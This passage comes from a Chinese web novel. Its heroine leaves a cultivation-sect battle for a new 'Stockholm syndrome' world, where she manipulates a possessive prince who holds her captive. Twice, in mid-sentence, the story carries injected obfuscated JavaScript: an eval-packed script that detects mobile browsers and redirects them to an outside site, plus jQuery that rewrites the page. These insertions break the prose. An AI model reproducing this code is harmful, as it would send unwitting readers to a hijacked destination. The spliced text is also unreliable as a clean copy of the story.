教主惨叫一声,倒在地上,黑气从伤口处源源不断地涌出。他看着沈清和赫希,眼中满是不甘:“我不甘心……我明明研究透了你们的剑招……” 沈清收起“擎苍”剑,走到被绑的弟子身边,用剑气斩断绳索:“别得意得太早,心魔教的余党还没除尽,我们还有很多事要做。” 赫希点头,收回伪装能力,心中却无比踏实——她的秘密武器,不仅帮她保护了沈清和清玄宗,还让她真正明白了“剑心”的含义:剑技是基础,能力是助力,而真正能让剑发挥力量的,是守护他人的信念。 12. 妄想症图鉴6(结束) 清玄宗的晨雾还未散尽,赫希已握着锈铁剑站在剑冢前。剑冢内上千柄佩剑的锈迹在晨光中泛着冷光,她指尖划过一柄断剑的剑脊——这是昨日整理剑冢时发现的,剑身刻着“清心”二字,与沈清师父当年的佩剑样式相似。她刚想开启“人偶之眼”查看剑上的灵力残留,身后突然传来熟悉的脚步声。 “在看什么?”沈清握着“擎苍”剑走来,剑穗上的“清心草”剑穗随着步伐轻轻晃动,“这是我师父当年的佩剑,三年前被心魔教的人打断,一直放在这里——你怎么会注意到它?” 赫希收回手,假装按剑冢的石碑铭文辨认:“昨天整理时看到碑上写着‘清心剑主之剑’,就想过来看看——师兄,这剑上的裂痕,好像是被‘碎心剑法’打断的?” 沈清瞳孔微缩,蹲下身仔细查看剑身:“你怎么知道?‘碎心剑法’的剑痕有特殊的锯齿纹,一般弟子根本认不出来。” “是你那本笔记里写的,”赫希举起手中的小册子,“里面记着‘碎心剑法’会在剑身留下锯齿状裂痕,与‘清心剑’的平滑剑痕截然不同——我昨天特意翻了笔记,没想到真的在这里看到了。” 沈清接过小册子,指尖摩挲着泛黄的纸页,眼神变得柔和:“这本笔记是我师父教我练剑时,一点点帮我整理的,后来我又补充了自己遇到的对手弱点——现在看来,把它交给你是对的。” 两人并肩坐在剑冢的石凳上,沈清说起师父当年教他练剑的往事:“我刚入门时,总学不会‘清心剑’的起手式,师父就握着我的手,一遍遍地教,直到我的手腕能稳到让剑穗纹丝不动。他说,练剑不是为了打败别人,是为了守住自己的初心——可惜,我后来却走偏了,用规则把自己困住,差点错过了很多重要的人。” 赫希看着他眼中的愧疚,轻声说:“师兄,你没有走偏。你用规则保护自己,也保护了我们——要是没有你那些‘苛刻’的要求,我现在可能连剑都握不稳,更别说在战斗中保护自己了。” 她悄悄开启“人偶之眼”,看着沈清的灵力轨迹——他的灵力比往日更平稳,之前因偏执产生的细微滞涩已经消失,与“擎苍”剑的共鸣也达到了前所未有的高度。这是真正的“剑心合一”,是她一直想复刻,却又明白无法完全复制的境界——因为这份境界里,藏着沈清独有的经历与感悟。 辰时三刻,张长老派人来叫两人去丹房。刚踏入丹房,就闻到一股浓郁的药香——丹炉内,“凝神丹”正在炼制,药材的融合进度已到七成。张长老站在炉边,脸色却有些凝重:“清,赫希,这次炼的‘凝神丹’是给受伤弟子用的,可炉内的‘凝血花’突然出现了灵力紊乱,我查了半天也没找到原因。” 沈清走近丹炉,用“擎苍”剑的剑尖抵在炉壁上,灵力缓缓注入:“确实有问题,灵力流动像是被什么东西挡住了,却又查不到杂质。” 赫希站在丹炉右侧,假装运转“凝神诀”,实则悄悄开启“人偶之眼”——炉内的景象瞬间清晰:“凝血花”的灵力丝线中,缠着几缕极细的黑色气息,与上次的“噬魂粉”气息相似,却更隐蔽,像是附着在药材的纤维里,不仔细看根本发现不了。 “师兄,会不会是‘凝血花’在采摘时沾到了心魔教的残留气息?”赫希故意说得模糊,“你笔记里写过,心魔教的气息会干扰药材灵力,而且很难被发现,需要用‘清心草’的汁液才能中和。” 沈清眼睛一亮,立刻从袖中取出“清心草”,挤出汁液滴入丹炉:“你说得对,我怎么忘了这一点!上次对付影卫时,就是用‘清心草’中和了‘迷魂草’的毒性。” 汁液入炉后,丹炉内的灵力波动渐渐平稳,药香也恢复了纯净。张长老松了口气,笑着说:“还是你们年轻人细心——赫希,你现在炼药的本事越来越好了,以后丹房的事,我也能多交给你一些。” 赫希笑着点头,心中却有了警惕——这几缕黑色气息不像是偶然沾到的,更像是有人故意放在“凝血花”里的。她悄悄用“人偶之眼”扫过丹房的药材架,发现最上层的“凝血花”中,有几株都缠着同样的黑色气息,而这些药材,正是昨天苏晚帮忙整理的。 但她没有声张——苏晚已经恢复清醒,不可能再帮心魔教做事,或许是整理药材时不小心沾到的?有些事,需要更多的证据才能下结论,尤其是在她有“秘密武器”的情况下,更不能轻易怀疑身边的人。 当天午后,赫希借口“熟悉后山地形,防止心魔教余党埋伏”,独自来到后山。她沿着上次与沈清对抗教主的路线前行,用“人偶之眼”仔细扫描周围的灵力残留——祭坛附近的黑色符文已经被清理,但在祭坛后方的山洞里,却藏着一道微弱的黑影灵力,与外门执事的灵力波动相似。 她立刻开启伪装能力,复刻苏晚的灵力波动和走路姿势——苏晚是丹房的药童,来后山采摘药材很合理,就算遇到其他弟子,也不会引起怀疑。她低着头,快步走进山洞。 山洞内阴暗潮湿,地面散落着几块黑色的布片,与柴房里的黑布一模一样。赫希用“人偶之眼”扫过布片,发现上面沾着“噬魂粉”的残留,还有一道细微的灵力线,连接着山洞深处的一个石盒。 她屏住呼吸,悄悄走向石盒——石盒上刻着心魔教的符文,盒内散发着与“万魂阵”相似的气息。她刚想打开石盒,身后突然传来脚步声:“谁在那里?” 赫希立刻低下头,模仿苏晚的声音,语气带着一丝慌乱:“是我,苏晚——长老让我来后山采摘‘清心草’,没想到迷路了,误打误撞进了这里。” 来人是宗门的内门弟子,他松了口气:“原来是苏晚师姐,这里很危险,心魔教的余党可能还藏在附近,你快跟我出去吧。” 赫希点头,跟着内门弟子走出山洞。路上,她悄悄收回伪装能力,心中却有了疑惑——这个石盒是谁放在这里的?外门执事已经自尽,难道心魔教还有其他卧底? 回到宗门后,她没有立刻告诉沈清——没有确凿的证据,不能随便引起恐慌。她决定先暗中观察,用“人偶之眼”留意宗门弟子的灵力波动,尤其是接触过药材和剑具的人。 接下来的几日,赫希一边跟着沈清练剑,一边暗中探查。她发现,每天傍晚,都会有一个穿着灰色道袍的弟子,悄悄在后山的山洞附近徘徊,他的灵力波动很隐蔽,却带着一丝心魔教的气息。 这天傍晚,她再次开启伪装能力,复刻那个灰色道袍弟子的灵力波动,悄悄跟在他身后。只见他走到山洞前,从袖中掏出一枚黑色令牌,对着石盒默念咒语——石盒缓缓打开,里面竟是一颗黑色的珠子,散发着浓郁的黑气。 “教主大人,我已经按您的吩咐,把‘噬魂珠’藏好了,等清玄宗的弟子放松警惕,就用它启动‘万魂阵’的余阵。”灰色道袍弟子对着空气传音,语气恭敬。 赫希心中一凛——教主竟然还没死!她刚想转身去找沈清,灰色道袍弟子突然回头,眼神警惕地扫过四周:“谁在那里?” 赫希立刻低下头,模仿他的声音:“是我,影卫三号——教主让我来帮你护法,怕你出意外。” 灰色道袍弟子愣了一下,显然没想到会有其他影卫来:“教主怎么没提前通知我?你有什么凭证?” 赫希假装从袖中掏东西,趁他不注意,用“反挑式”的剑柄敲中他的后颈——灰色道袍弟子瞬间晕倒在地。她立刻收起伪装能力,扛起他快步走向沈清的住处。 沈清的住处还亮着灯,他正坐在桌前,研究着剑冢的结界图。看到赫希扛着一个人进来,他立刻站起身:“怎么回事?这个人是谁?” “他是心魔教的卧底,藏在后山的山洞里,还藏了一颗‘噬魂珠’,想启动‘万魂阵’的余阵!”赫希把灰色道袍弟子放在地上,压低声音,“而且教主可能还没死,他刚才还在和这个卧底传音!” 沈清眼神一凛,用灵力封住灰色道袍弟子的经脉:“你怎么发现的?” “我今天去后山采摘药材,偶然看到他鬼鬼祟祟的,就跟了过去,听到了他和教主的传音。”赫希再次隐瞒了能力,“他身上有心魔教的令牌,还有‘噬魂珠’为证,不会有错。” 沈清蹲下身,检查着灰色道袍弟子的衣物,从他袖中搜出一枚黑色令牌和一张地图——地图上标记着清玄宗的结界弱点,还有后山山洞的位置。他握紧令牌,眼神变得锐利:“看来心魔教是不死心,还想卷土重来——我们必须先下手为强,找到教主的藏身之处,绝不能让他启动‘万魂阵’的余阵。” 赫希点头,从袖中掏出一张纸:“这是我刚才在山洞里画的石盒位置图,还有‘噬魂珠’的样子——我看它的气息和上次教主的黑气很像,或许能通过气息追踪到教主的位置。” 其实,这张图是她用“人偶之眼”扫描后,凭记忆画下来的——她能清晰地记住“噬魂珠”的每一道纹路,还有石盒上的符文排列,甚至能通过气息的细微差异,判断出教主可能藏在西边的黑风山。但她没有说出来,只是把这些信息融入到“偶然观察”的表述中。 沈清看着地图,若有所思地说:“黑风山离这里有五十里,那里地势险要,适合埋伏——我们明天一早就出发,带上二十名内门弟子,务必一举消灭教主和余党。” “师兄,我也去!”赫希立刻说,“我现在能帮上忙了,而且我对‘噬魂珠’的气息很敏感,或许能更快找到教主的藏身之处。” 沈清看着她坚定的眼神,点了点头:“好,你跟我一起去,但要记住,这次的对手很狡猾,一定要跟紧我,别擅自行动。” 当晚,赫希回到住处,对兀统说:“明天的战斗可能会很危险,帮我调整一下能力参数——‘人偶之眼’要能更快地预判攻击轨迹,‘伪装能力’要能在战斗中快速切换目标,不能被教主发现异常。” 【兀统:已调整能力参数!结合病娇领域的情绪感知与当前“人偶之眼”预判速度提升50%,可同时锁定三个目标;“伪装能力”切换时间缩短至0.1秒,且能在复刻时保留自身的战斗意识,避免被敌人察觉异常。】 赫希握紧锈铁剑,心中充满了信心,她不仅有沈清教的剑技,有那本笔记当掩护,还有“秘密武器”的助力,这次一定能帮沈清彻底消灭心魔教,守护好清玄宗。 次日清晨,天刚蒙蒙亮,沈清就带着赫希和二十名内门弟子出发了。队伍沿着山路前行,赫希走在沈清身边,悄悄开启“人偶之眼”,她能看到路边草丛中的陷阱,能看穿隐藏在树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502573|186019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的影卫,甚至能预判他们的攻击方向。 “师兄,左边三十步的草丛里有陷阱,是‘毒针阵’,触发后会射出带毒的银针;右边的大树后有两个影卫,他们的灵力波动很弱,应该是低阶影卫,用‘反挑式’就能解决。”赫希压低声音,把看到的信息告诉沈清。 沈清按照她的提示,“擎苍”剑一挥,剑气精准地劈开左边的草丛,将陷阱破坏;同时,他示意两名内门弟子攻向右边的大树,很快就制服了影卫。 “你怎么知道得这么清楚?”一名内门弟子好奇地问,“我刚才用灵识探查,都没发现草丛里有陷阱。” 赫希笑着举起手中的小册子:“是师兄的笔记,里面记着心魔教常用的陷阱位置和影卫的隐藏习惯,我昨天特意背下来了,没想到真的用上了。” 弟子们恍然大悟,纷纷夸赞沈清细心,连这些细节都记在笔记里。沈清看着赫希,眼中满是欣慰,他以为赫希是因为认真研究笔记,才变得这么敏锐,却不知道,这背后藏着一个只有她和兀统知晓的秘密。 队伍行至黑风山脚下,赫希突然停下脚步,眉头微皱:“师兄,前面的山洞里有很强的黑气,应该是教主的藏身之处——而且里面不止他一个人,还有十几个影卫,他们正在布置‘万魂阵’的余阵。” 沈清立刻示意队伍停下,压低声音:“大家听着,等会儿我和赫希先冲进去,吸引教主的注意力;你们分成两队,从左右两边包抄,消灭影卫,别让他们启动阵法。” 众人点头,按照沈清的安排准备。赫希悄悄开启伪装能力,复刻沈清的灵力波动——这样一来,她的攻击能和沈清形成呼应,让教主误以为是两个人用同样的剑技,从而打乱他的节奏。 “冲!”沈清大喝一声,“擎苍”剑带着凌厉的剑气,率先冲进山洞。赫希紧随其后,锈铁剑一挥,与沈清的剑气形成夹击之势。 山洞内,教主穿着黑袍,正站在“万魂阵”的中央,手中握着“噬魂珠”,准备启动阵法。看到沈清和赫希冲进来,他狂笑一声:“你们来得正好!等我启动阵法,吸收了你们的灵力,就能突破到化神期,到时候整个玄渊界都没人能挡得住我!” 说着,教主挥剑攻来,招式比上次更诡异,竟能同时模仿沈清和赫希的剑招。赫希立刻开启“人偶之眼”——她看到教主的剑招虽然复杂,却有一处致命破绽:他在同时模仿两人剑招时,灵力会出现0.3秒的滞涩,尤其是在使用“破妄式”和“反挑式”的结合招时,右肩会不自觉地下沉。 “师兄,他的右肩!”赫希大喊,“同时用两招时右肩会下沉,这是他的破绽!” 沈清会意,立刻调整剑招。当教主再次使出结合招时,沈清抓住他右肩下沉的瞬间,“擎苍”剑突然变向,精准挑中他的手腕。教主吃痛,手中的“噬魂珠”险些脱手,灵力也紊乱了几分。 “不可能!你怎么会知道我的破绽?”教主难以置信地看着赫希,“一个外门弟子,怎么能看穿我的复合剑招?” “是师兄教我的,”赫希面不改色地撒谎,“他说过,再复杂的剑招,只要用心观察,就能找到破绽——你以为你能模仿我们的剑招,却忘了,剑招是死的,人是活的,你永远学不会我们对剑的心意。” 教主怒吼一声,再次攻来,这次他的攻击更加疯狂,竟不顾自身灵力紊乱,强行催动“噬魂珠”——山洞内的黑气瞬间暴涨,影卫们也纷纷发动攻击,朝着内门弟子冲去。 赫希一边应对影卫的攻击,一边用“伪装能力”切换目标——她时而模仿沈清的剑招,与他配合夹击教主;时而模仿影卫的灵力波动,混淆他们的判断,为内门弟子创造机会。她的动作流畅自然,没有丝毫破绽,连沈清都没发现异常,只以为她是把笔记里的内容融会贯通了。 战斗持续了半个时辰,影卫们渐渐被消灭,教主的灵力也消耗殆尽。沈清抓住机会,“擎苍”剑带着全身的灵力,直刺教主的胸口:“这一剑,是为我师父!为清玄宗所有死去的弟子!” “不——我不甘心!”教主惨叫一声,身体被剑气贯穿,黑气从伤口处源源不断地涌出,很快就消散在空气中。他手中的“噬魂珠”掉在地上,摔成了碎片,“万魂阵”的符文也随之失去了光芒。 战斗结束后,弟子们欢呼雀跃,沈清走到赫希身边,拍了拍她的肩膀:“这次多亏了你,要是没有你发现卧底,没有你看穿教主的破绽,我们不可能这么快解决战斗。” 赫希笑着摇头:“都是师兄教得好,还有你那本笔记,帮了我太多——要是没有你,我现在可能还是个连剑都握不稳的外门弟子。” 她看着沈清的眼睛,认真地说:“师兄,不管以后遇到多少危险,不管我能练到多厉害,你永远是我的大师兄。是你教我握剑,教我心法,教我怎么在这个世界立足——没有你,就没有现在的我。” 沈清笑而不语,“我们彼此都在成长,都在互相理解,你的话我同样可以转回你…… 之后的赫希对这个世界的最后一点记忆便是树下笑着交着下一个师弟练剑的画面,他们是这样和谐美好,没有病症的大师兄……赫希想,如果每一个世界里的目标都能够得到治疗,肯定可以留下很多美好回忆吧? 13. 斯德哥尔摩综合症图鉴1 基于宿主获得的能力越来越多,我会适当的合并这些同属性能力,比如…… 兀统的话在世界开启前三分钟刚刚还在,没想下一秒脑子便开始不适起来,只能听到兀统最后的一句,效果只会增不会减……之后赫希的鼻尖便萦绕玄参和龙涎香的混合气息。 后边听兀统解释才知道,这气味来自大胤皇室特供的“安魂香”,据说需以雪山玄参、深海龙涎辅以十八味名贵药材,经七七四十九日炮制而成,燃之可宁神静气,可此时却压不住她左手腕上那道浅淡疤痕传来的、细密如针的刺痛。 那疤痕约指节长短,呈淡粉色,边缘因愈合不良微微泛白,是原主三个月前试图翻越靖王府高墙逃离时,被萧玦亲手用匕首划伤的。刀刃划破皮肤时的灼痛感仿佛还残留在神经末梢,更讽刺的是,从那天起,原主对那个将她囚于笼中的男人,竟生出了近乎病态的依赖——这便是斯德哥尔摩综合征最典型的症状,也是她此行的“研究样本”。 “醒了?”脑海里突兀响起的机械音带着惯有的欠揍调调,像是故意拉长了尾音的电子合成声,“第三站古风副本加载完毕,数据同步率98.7%,剩余误差可忽略不计。目标人物——三皇子萧玦,年龄二十二,封号‘靖王’,重度斯德哥尔摩综合征患者,附加‘疯批占有欲’‘情感偏执’双属性,危险系数评级A+。” 赫希揉着发胀的太阳穴坐起身,锦缎被褥滑落至腰际,露出锁骨处一道浅淡的淤青——那是昨夜萧玦失控时留下的痕迹。她指尖轻轻划过手腕的疤痕,触感光滑却带着隐秘的战栗。 系统的声音还在继续:“基于世界等级较低,不开放宿主在修行世界获得或者习得的能力(除理论知识)。 宿主保留核心能力清单如下: 病娇领域(被动技能):可实时感知半径五米内目标人物的情绪波动与执念强度,以色彩雾气形态呈现,浓度与情绪烈度正相关; 人偶之眼(主动技能):开启后可识破目标言语中的谎言(触发时眼底浮现瓷白色光泽,谎言会引发红色微光警示),同时能识别非人类伪装(如精怪、傀儡等),冷却时间十分钟; 我妻由乃战斗术(主动技能):融合近距离格斗、武器使用与环境利用的综合战斗体系,包含匕首术、关节技及基础暗杀技巧,需消耗精神力,等级随使用熟练度提升; 药剂操控(主动技能):可通过触摸物体表面,将自身精神力转化为微量‘情绪药剂’(如镇定剂、激怒剂、幻觉剂等),效果持续时间与精神力强度挂钩,目前可解锁三种基础药剂。” “主线任务:靠近萧玦,模拟其斯德哥尔摩综合征至100%同步率。支线任务:探索萧玦病症成因,解锁‘创伤记忆碎片’(目前进度0%)。温馨提示:因宿主的综合能力对于原世界居民属于降维打击,系统提出限制:原身体修行参数不得完美使用,将降临在原世界已惨死的世界居民,只继承其原身体的战斗参数。” 赫希:……我请问呢?放纵任性是强者的特权呢? 她掀开被子下床,赤足踩在铺着羊毛地毯的地板上,凉意顺着脚心往上爬,让混沌的大脑清醒了几分。房间是典型的中式寝殿格局,迎面是一架雕花描金的紫檀木屏风,上面绘着“百鸟朝凤”图,凤凰的尾羽用金线勾勒,在晨光下泛着冷冽的光泽;屏风两侧立着两架博古架,摆满了青瓷、玉器与古籍,其中一尊白玉观音像的指尖还沾着未干的香灰——显然是每日都有人精心打理。 她走到梳妆台前,铜镜里映出一张清丽却带着几分脆弱的脸:柳叶眉,杏核眼,鼻梁小巧,唇色偏淡,是标准的古典美人模样。这是原主“赫希”的容貌——前镇国将军赫靖的独女,三个月前因父亲被诬陷“通敌叛国”而满门抄斩,唯有她被三皇子萧玦以“罪臣之女需入宫为奴”为由保下,实则成了他府中豢养的禁脔。 花瓶不再是花瓶……是带刺带血的花,是有异香奇毒的花朵,兀统看着这一幕不禁暗想。 赫希:我知道你想,但是先别想…… 赫希闭上眼,再睁开时,眼底悄然泛起一层淡淡的瓷白光泽——人偶之眼已开启。她扫过梳妆台上的胭脂水粉,视野里没有确切数值,只有一团团或浅或深的彩色雾气:那盒正红色的胭脂上萦绕着淡粉色雾气,带着“讨好”与“畏惧”的情绪——是侍女们为了保命,精心挑选的萧玦喜欢的颜色;那支银质发簪上裹着一层灰黑色雾气,边缘还残留着“怨恨”与“不甘”——想来是原主生前常用之物,承载了她对命运的控诉。 最后,她的目光落在床头那盏银灯上。灯身刻着缠枝莲纹,灯芯尚未点燃,却缠绕着一团浓郁的深紫色雾气,雾气中翻涌着近乎实质的“独占感”,像一张密不透风的网,将灯身牢牢包裹;而在深紫雾气的边缘,竟还裹着一丝微弱的、近乎透明的“期盼”,那是萧玦昨夜留下这盏灯时,残留在器物上明显的情绪痕迹。 “连一盏灯都要染上自己的执念,真是病得不轻。”赫希低声吐槽,关掉了人偶之眼,眼底的瓷白光泽渐渐褪去。 就在这时,窗外忽然传来一阵急促的脚步声,伴随着侍女压抑的啜泣声,像是有人在刻意压低声音,却又控制不住情绪的崩溃。赫希走到窗边,轻轻撩开纱帘一角,看向声音来源。 庭院外的青石板路上,是几个面黄肌瘦的流民正被王府侍卫粗暴地拖拽着。为首的是一位头发花白的老妇,穿着打满补丁的粗布衣裳,怀里抱着一个气息微弱的孩童——那孩子看起来不过三四岁,小脸蜡黄,嘴唇干裂,双眼紧闭,连哭喊声都微弱得像小猫;老妇的身后跟着两个年轻些的男子,同样衣衫褴褛,颧骨高耸,手臂细得仿佛一折就断。 无论什么时候,看见这番景象都会不禁想起啊……你们似乎,需要一个人来结束这场荒诞的闹剧? “求殿下开恩!求靖王殿下开恩啊!”老妇跪在地上,膝盖在青石板上磨出刺耳的声响,她抱着孩子不断磕头,额头很快渗出了血珠,“孩子已经三天没吃东西了,就给一口粥,一口就好!” 然而,她的哀求只换来侍卫更重的拳脚。一个穿着黑色劲装的侍卫抬脚踹在老妇的腰上,厉声呵斥:“放肆!靖王府也是你们这些贱民能闯的?殿下仁慈,没直接把你们拖去乱葬岗,已经是天大的恩典,还敢在这里哭哭啼啼,污了殿下的耳朵!” 另一个侍卫则拿着长棍,朝着那两个年轻男子的后背狠狠抽打,木棍落在皮肉上的“噼啪”声隔着庭院都能清晰听见。流民们的惨叫声、哭泣声与侍卫的呵斥声混杂在一起,像一把钝刀,在这看似宁静的王府里割出一道丑陋的伤口。 赫希面上不显,指尖却紧紧攥住了纱帘,低头回想着。她曾在副本加载前的资料库里见过这个朝代的记载:大胤王朝立国两百余年,历经十代君主,如今的皇帝赵启沉迷修道,自五年前起便移居西苑,不问朝政,将奏折尽数交由几位皇子与内阁处理;而皇子们为了争夺储君之位,早已斗得你死我活。 二皇子赵珩拉拢文官集团,四皇子赵瑜掌控京畿兵权,唯有三皇子萧玦,因幼时被绑架的“暗室创伤”,性情乖戾,不涉党争,却靠着皇帝的偏爱与手中的暗卫组织,成为了朝堂上不可忽视的一股力量。 表面上,京城依旧歌舞升平,酒楼茶肆里说书人还在讲着“国泰民安”的故事。可实际上,苛捐杂税早已压得百姓喘不过气,去年南方大旱,颗粒无收,朝廷不仅没有赈灾,反而加征了“军饷税”“修道税”,无数流民流离失所,饿殍遍野。就像眼前这几个,不过是乱世中的缩影。 而原主的父亲赫靖将军,便是因看不惯皇帝沉迷修道、皇子们漠视民生,屡次上书反对加征军饷,最终被二皇子赵珩诬陷“通敌叛国”,落得个满门抄斩的下场。唯有原主,因萧玦幼时曾受赫靖将军的“一饭之恩”,被他以“罪臣之女需抵债”为由保下,却从此失去了自由,成了靖王府里一只被精心豢养,却永远逃不出囚笼的金丝雀。 “不是不能降维打击。”赫希指尖轻点窗棂,感受着空气中弥漫的绝望气息,眼底闪过一丝冷冽的光,“凭我现在的战斗术等级,加上药剂操控里的‘幻觉剂’和‘麻痹剂’,想要杀进皇宫绑了那个修道的皇帝,也不是难事。” “但萧玦的斯德哥尔摩是‘病症样本’,他是目标,直接杀了他,模拟任务就黄了,最终权限也解锁不了。”赫希冷静地分析着,指尖的力度渐渐放松,“更重要的是,这个王朝的腐朽已经深入骨髓——就算杀了皇帝,换一个皇子上位,不过是换汤不换药,苛捐杂税依旧会有,流民依旧会饿死,原主的仇也不算真正得报。” 她要的不是推翻一个皇帝,而是要借这次模拟任务的机会,摸清皇室的权力脉络,利用萧玦的“疯批性子”和他与二皇子赵珩的旧怨,一步步瓦解现有的权力根基;然后,再亲自登顶,用自己的方式重塑这个乱世——毕竟,比起做一个“推翻者”,不如做那个能制定规则的“掌权者”。 “算你拎得清!”兀统的机械音打断了她的思绪,这次的语气里少了几分调侃,多了几分认真,“上干货时间——萧玦病症成因补充资料:其幼时(七岁)随母妃出宫祈福,被当时还是太子的二皇子赵珩(时年十五)派人绑架,关在京郊一处废弃的暗室里,长达三个月。期间,赵珩对其百般折磨,断水断粮,言语羞辱,甚至让他亲眼看着自己的贴身太监被活活打死;而唯一对他‘善待’的人,是赵珩派去送饭的侍女春桃——那侍女偶尔会偷偷多给他一个馒头,或者在他被打后,用布条简单包扎一下伤口。” “但这份‘善待’并没有持续太久。三个月后,萧玦被皇帝派人找到,而春桃则被赵珩灭口,伪造成‘意外死亡’。从此,萧玦的认知产生了扭曲——他将‘伤害’与‘善意’绑定,认为只有对自己施加伤害的人,才会给予善意;同时,为了避免再次被‘抛弃’,他衍生出了‘要让对方彻底属于自己’的疯批执念——只有将对方牢牢锁在身边,让对方依赖自己,他才会有安全感。” 赫希点点头,将这些信息记在心里——这意味着,她要扮演的角色,不是单纯的“柔弱小白花”,而是“既能刺痛他的创伤记忆,又能让他抓住那丝‘善意’不放”的矛盾体。就像原主手腕上的疤痕,既是伤害的证明,也是让萧玦产生“她离不开我”的执念的纽带。 刚要转身回到梳妆台前,房门“吱呀”一声被推开,一股冷冽的气息伴随着檀香扑面而来。赫希下意识地转身,只见一道玄色锦袍的身影逆光而立,墨发用一支羊脂玉冠束起,几缕碎发垂落在额前,遮住了眼底的情绪;他的面容俊美得近乎妖异,剑眉星目,鼻梁高挺,唇色偏淡,却带着病态的苍白——正是三皇子萧玦。 他的身高约莫一米八五,玄色锦袍上绣着暗金色的龙纹,腰间系着一块成色极佳的墨玉玉佩,随着他的步伐轻轻晃动。走近时,赫希能清晰地看到他眼底的红血丝—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502574|186019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想来昨夜又没睡好,或许是又被童年的噩梦纠缠了。 几乎在萧玦踏入房间的瞬间,赫希的“病娇领域”被动触发。她的视野里,一团浓郁的深紫色雾气瞬间将萧玦包裹,雾气中翻涌着剧烈的情绪波动——像是平静的湖面突然掀起滔天巨浪,有“见到目标人物”的雀跃(淡粉色雾气点缀其中),却又混着“怕被抛弃”的惶恐(灰白色雾气缠绕边缘),两种极端的情绪交织在一起,形成一种扭曲的执念,如同藤蔓般紧紧锁定在她身上。 而在那团深紫色雾气的最深处,赫希还捕捉到一丝不易察觉的“麻木”——那是一种对苦难的漠视,对生命的冷淡,像是早已习惯了世间的丑恶,将自己包裹在偏执的壳里,隔绝了外界的一切共情。想来,对于府外流民的惨叫,对于朝堂上的尔虞我诈,他早已习以为常,甚至觉得那些都与自己无关——他的世界里,似乎只剩下“如何留住身边人”这一件事。 “醒了怎么不叫人?”萧玦的指尖带着凉意,轻轻拂过她的发梢,动作温柔得像是在触碰易碎的珍宝。赫希的人偶之眼在眼底悄然泛起微光,没有红色警示——这句话是真的,他确实在意她是否会主动找他,在意自己在她心中是否有“被需要”的价值。 赫希故意瑟缩了一下,肩膀微微颤抖,声音带着恰到好处的怯懦:“殿下……我、我刚才听到外面的哭声,有些害怕。”她说着,缓缓垂下眼帘,露出脖颈处一道浅淡的红痕——那是萧玦上次失控时掐出来的,如今颜色已淡,却依旧清晰,此刻成了唤醒他创伤记忆的最佳钥匙。 萧玦的呼吸明显顿了顿,指尖下意识地抚上那道红痕,力道轻得像怕碰碎她,可赫希的病娇领域里,情绪波动却瞬间剧烈起来——淡粉色的“心疼”与深紫色的“掌控欲”疯狂交织,雾气几乎要将她整个人包裹。 “怕什么?”萧玦的声音低沉而沙哑,带着一丝不易察觉的安抚,“有我在,没人能伤害你。”他忽然凑近,温热的气息拂过赫希的耳廓,带着檀香与偏执,“那些流民不过是贱民,死了也活该,别让他们脏了你的耳朵。昨天你说想吃城西的糖糕,我让暗卫去买了,还热着,现在就给你拿来?” 赫希心中冷笑——果然,生于皇室的人,早已将人命视作草芥,流民的生死在他眼中,竟比不上一块糖糕。但她面上却配合地露出惊喜的神色,眼底泛起一层水光:“殿下还记得?我还以为……您忘了。” 她抬眼时,人偶之眼再次确认——他没有说谎,那盒糖糕确实是特意为她买的,暗卫凌晨便出了府,赶在城西“福记糕点铺”开门时排队,只为买她随口提过一句的桂花糖糕。只是这份看似纯粹的“心意”,背后却藏着无数人的苦难——暗卫赶路时,或许撞过路边的流民;铺子里的糖糕,或许是用百姓缴纳的苛捐杂税换来的。 “怎么会忘?”萧玦的眼神瞬间亮了起来,像个得到糖果的孩子,带着几分天真的雀跃,可下一秒,他的眼神又突然沉了下去,指尖缓缓划过赫希手腕的疤痕,力道渐渐加重,“你想要的,我都能给你;但你要是像上次那样想逃……” 他的声音压低,带着一丝狠戾,却又夹杂着不易察觉的惶恐:“我会把你锁起来,用最好的链子,让你永远留在我身边,再也离不开我。” 病娇领域里的“占有欲”瞬间飙升,深紫色雾气几乎要凝成实质,压得赫希有些喘不过气。她顺着他的力道微微靠近,额头轻轻抵着他的胸膛,能清晰地感受到他胸腔里剧烈的心跳——那心跳里藏着不安,藏着偏执,藏着一个被创伤扭曲的灵魂。 “殿下,我不敢了……”赫希的声音带着哭腔,泪水恰到好处地滑落,滴在萧玦的锦袍上,晕开一小片湿痕,“上次是我糊涂,是我不懂事,我现在知道了,只有您会对我好,只有在您身边,我才是安全的。” “叮!检测到宿主初步触发目标人物斯德哥尔摩依赖机制,病症模拟度提升至15%!解锁技能:‘病态共情’(初级)——可感知目标对‘伤害与善意’的需求阈值,精准调整自身行为以匹配目标心理预期。”兀统的声音适时响起,带着几分幸灾乐祸的调侃。 赫希没理会系统的调侃,感受着萧玦逐渐放松的怀抱,他的手轻轻抚着她的后背,动作笨拙却带着认真的安抚。她的眼底闪过一丝算计——这只是第一步,接下来,她要借他的疯批性子,一边刷满模拟度,一边利用他与二皇子赵珩的旧怨,一步步瓦解皇室的权力根基。 